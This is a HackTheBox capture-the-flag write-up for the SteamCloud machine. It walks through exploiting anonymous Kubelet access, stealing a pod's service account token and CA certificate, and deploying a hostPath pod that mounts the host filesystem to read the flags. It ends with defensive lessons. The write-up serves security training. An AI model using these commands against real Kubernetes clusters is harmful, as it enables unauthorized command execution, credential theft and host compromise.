HTB: SteamCloud Writeup

SteamCloud - HackTheBox Writeup

Machine Information

AttributeDetails
NameSteamCloud
OSLinux
DifficultyEasy
PointsN/A
Release Date24 Dec 2022
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

SteamCloud is an easy Linux machine centered around Kubernetes security misconfigurations. The target exposes multiple Kubernetes-related services on non-standard ports. The Kubelet service, which handles anonymous access by default, allows us to enumerate all running pods in the cluster without authentication. By executing commands within the Nginx pod, we can extract service account tokens and certificates. These credentials grant us access to the Kubernetes API, where we leverage pod creation privileges to mount the host filesystem and read both user and root flags. This machine effectively demonstrates the critical security risks of misconfigured Kubernetes environments and improper access controls.

TL;DR: Enumerate Kubelet (port 10250) → Extract pod tokens via RCE → Authenticate to K8s API → Create privileged pod with host mount → Read flags from mounted filesystem.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.96.98 --max-retries=0

Results:

The nmap scan reveals several interesting ports indicative of a Kubernetes cluster:

  • Port 22 - SSH (standard access)
  • Port 2379 - etcd client API (Kubernetes data store)
  • Port 2380 - etcd server API
  • Port 8443 - Kubernetes API Server
  • Port 10250 - Kubelet API (node agent)

Service Enumeration

Kubernetes API (Port 8443)

Terminal window
curl https://10.129.96.98:8443/ -k

The API endpoint returns a 401 Unauthorized response, indicating that authentication is required to access most endpoints. However, this is not an absolute barrier—we need to find an alternative entry point.

Kubelet Service (Port 10250)

Terminal window
curl https://10.129.96.98:10250/pods -k

The Kubelet service responds to unauthenticated requests and exposes a /pods endpoint that returns all running pods in JSON format. This is a significant misconfiguration, as Kubelet typically should not allow anonymous access to sensitive cluster information.

Vulnerability Assessment

Identified Vulnerabilities:

  1. Anonymous Kubelet Access - The Kubelet API allows unauthenticated requests to enumerate pods and execute commands, bypassing authentication requirements.
  2. Default Service Account Permissions - The default service account in the cluster has permissions to create, list, and get pods.
  3. Insecure Pod Configuration - Pods are not restricted from mounting the host filesystem or accessing sensitive directories.
  4. Missing Network Segmentation - Kubernetes API and Kubelet are exposed on network interfaces without firewall restrictions.

Initial Foothold

Exploiting Kubelet Enumeration

First, we install kubeletctl, a specialized tool for interacting with the Kubelet API:

Terminal window
# Download and install kubeletctl
curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.7/kubeletctl_linux_amd64
chmod a+x ./kubeletctl_linux_amd64
mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl

With kubeletctl installed, we enumerate all pods in the cluster:

Terminal window
kubeletctl --server 10.129.96.98 pods

This reveals three running pods:

  • coredns-78fcd69978-zbwf9 (kube-system namespace)
  • nginx (default namespace) — This is our target
  • etcd-steamcloud (kube-system namespace)

RCE via Kubelet

Next, we scan the cluster for RCE vulnerabilities on vulnerable pods:

Terminal window
kubeletctl --server 10.129.96.98 scan rce

The scan confirms that the Nginx pod in the default namespace is vulnerable to command execution via the /run endpoint.

Gaining Command Execution

We execute a simple command to verify RCE:

Terminal window
kubeletctl --server 10.129.96.98 exec "id" -p nginx -c nginx

The command executes successfully, returning the UID and GID of the nginx container process. This confirms we have arbitrary command execution within the pod.


Privilege Escalation

Extracting Kubernetes Credentials

Now that we have command execution within the Nginx pod, we extract the service account token and CA certificate that the pod uses to authenticate to the Kubernetes API:

Terminal window
# Extract the service account token
kubeletctl --server 10.129.96.98 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx > token.txt
# Extract the CA certificate
kubeletctl --server 10.129.96.98 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx > ca.crt

These files are automatically mounted into every pod and contain the credentials needed to authenticate to the Kubernetes API.

Authenticating to the Kubernetes API

We configure kubectl to use the extracted credentials:

Terminal window
# Export the token as an environment variable
export token=$(cat token.txt)
# Verify we can authenticate
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:8443 get pods

This lists all pods in the default namespace, confirming successful authentication.

Enumerating Permissions

We check what permissions the default service account has:

Terminal window
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:8443 auth can-i --list

The output shows that we can:

  • create pods
  • get pods
  • list pods

This is sufficient to create a malicious pod that mounts the host filesystem.

Creating a Privileged Pod with Host Mount

We create a malicious pod YAML configuration that mounts the entire host filesystem:

# Save as f.yaml
apiVersion: v1
kind: Pod
metadata:
name: nginxt
namespace: default
spec:
containers:
- name: nginxt
image: nginx:1.14.2
volumeMounts:
- mountPath: /root
name: mount-root-into-mnt
volumes:
- name: mount-root-into-mnt
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true

This configuration:

  • Uses the nginx image (same as legitimate pod)
  • Mounts the host filesystem at /root within the container
  • Enables service account token mounting
  • Uses the host network namespace

Deploying the Malicious Pod

Terminal window
# Apply the pod configuration
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:8443 apply -f f.yaml
# Verify the pod is running
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:8443 get pods

Once the pod is deployed and running, we can execute commands within it to access files on the host system.

Reading the Flags

With the malicious pod running and the host filesystem mounted at /root, we can now read both flags:

Terminal window
# Read the user flag
kubeletctl --server 10.129.96.98 exec "cat /root/home/user/user.txt" -p nginxt -c nginxt
# Read the root flag
kubeletctl --server 10.129.96.98 exec "cat /root/root/root.txt" -p nginxt -c nginxt

Both flags are successfully retrieved from the host system via the compromised pod.


Attack Chain Summary

Enumerate Kubelet (port 10250)
Discover Nginx pod vulnerable to RCE
Execute commands in Nginx container
Extract service account token & CA certificate
Authenticate to Kubernetes API (port 8443)
Create privileged pod with host filesystem mount
Execute commands in privileged pod
Read user.txt and root.txt from mounted host filesystem
Capture both flags

Tools Used

ToolPurpose
nmapNetwork port scanning and service discovery
curlHTTP/HTTPS requests to API endpoints
kubeletctlKubelet API interaction and pod enumeration
kubectlKubernetes API client for pod creation and management
bashCommand execution and shell scripting

Key Learnings

Techniques Practiced

  • Kubernetes cluster enumeration and reconnaissance
  • Kubelet API exploitation via anonymous access
  • Service account token extraction from pod filesystem
  • Kubernetes API authentication using extracted credentials
  • Malicious pod creation with privileged mounts
  • Lateral movement from pod to host filesystem
  • Container escape via volume mounts

Lessons Learned

  1. Default Kubernetes Security Is Insufficient - The default service account should have minimal permissions; overly permissive RBAC policies enable lateral movement and privilege escalation.

  2. Kubelet Anonymous Access Is Critical - Kubelet should never allow unauthenticated access to sensitive endpoints. Implement authentication and authorization checks on the kubelet API.

  3. Service Account Tokens Are Powerful - Any pod that can access another pod can potentially extract its service account token. Implement pod-to-pod network policies to prevent unauthorized communication.

  4. Host Filesystem Mounts Enable Escape - Allowing pods to mount the host filesystem via hostPath volumes is equivalent to giving root access to the host. Restrict or eliminate this capability.

  5. Host Network Namespace Increases Risk - Setting hostNetwork: true allows a pod to interact directly with the host network, increasing the attack surface significantly.

  6. RBAC and Network Policies Are Essential - A complete Kubernetes security posture requires both RBAC (role-based access control) and network policies to segment cluster traffic and limit lateral movement.

  7. Kubernetes Security Requires Defense in Depth - No single security control is sufficient; multiple layers (authentication, authorization, network policies, admission controllers) are needed to effectively secure a cluster.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>